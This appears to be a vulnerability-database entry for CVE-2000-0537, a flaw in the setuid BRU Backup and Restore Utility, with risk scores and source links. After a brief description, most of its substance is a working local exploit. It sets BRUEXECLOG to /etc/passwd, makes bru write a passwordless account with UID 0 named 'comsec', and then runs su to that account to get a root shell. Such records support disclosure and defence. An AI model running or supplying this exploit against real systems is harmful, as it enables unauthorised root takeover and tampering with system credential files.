BRU 15.1/16.0 - BRUEXECLOG Environment Variable
| Reporter | Title | Published | Views | Family All 4 |
|---|---|---|---|---|
 | CVE-2000-0537 | 13 Oct 200004:00 | – | cve |
 | CVE-2000-0537 | 13 Oct 200004:00 | – | cvelist |
 | EUVD-2000-0534 | 7 Oct 202500:30 | – | euvd |
 | CVE-2000-0537 | 5 Jun 200004:00 | – | nvd |
source: https://www.securityfocus.com/bid/1321/info
A vulnerability exists in BRU, the Backup and Restore Utility, from Enhanced Software Technologies. By setting the value of the BRUEXECLOG environment variable, it is possible to an attack to alter and create files on the filesystem. As BRU is installed setuid, these files are owned by root. This vulnerability can be easily used by local users to obtain root privileges.
$ BRUEXECLOG=/etc/passwd
$ export BRUEXECLOG
$ bru -V '
> comsec::0:0::/:/bin/sh
> '
$ su comsec
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21 Jul 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.00721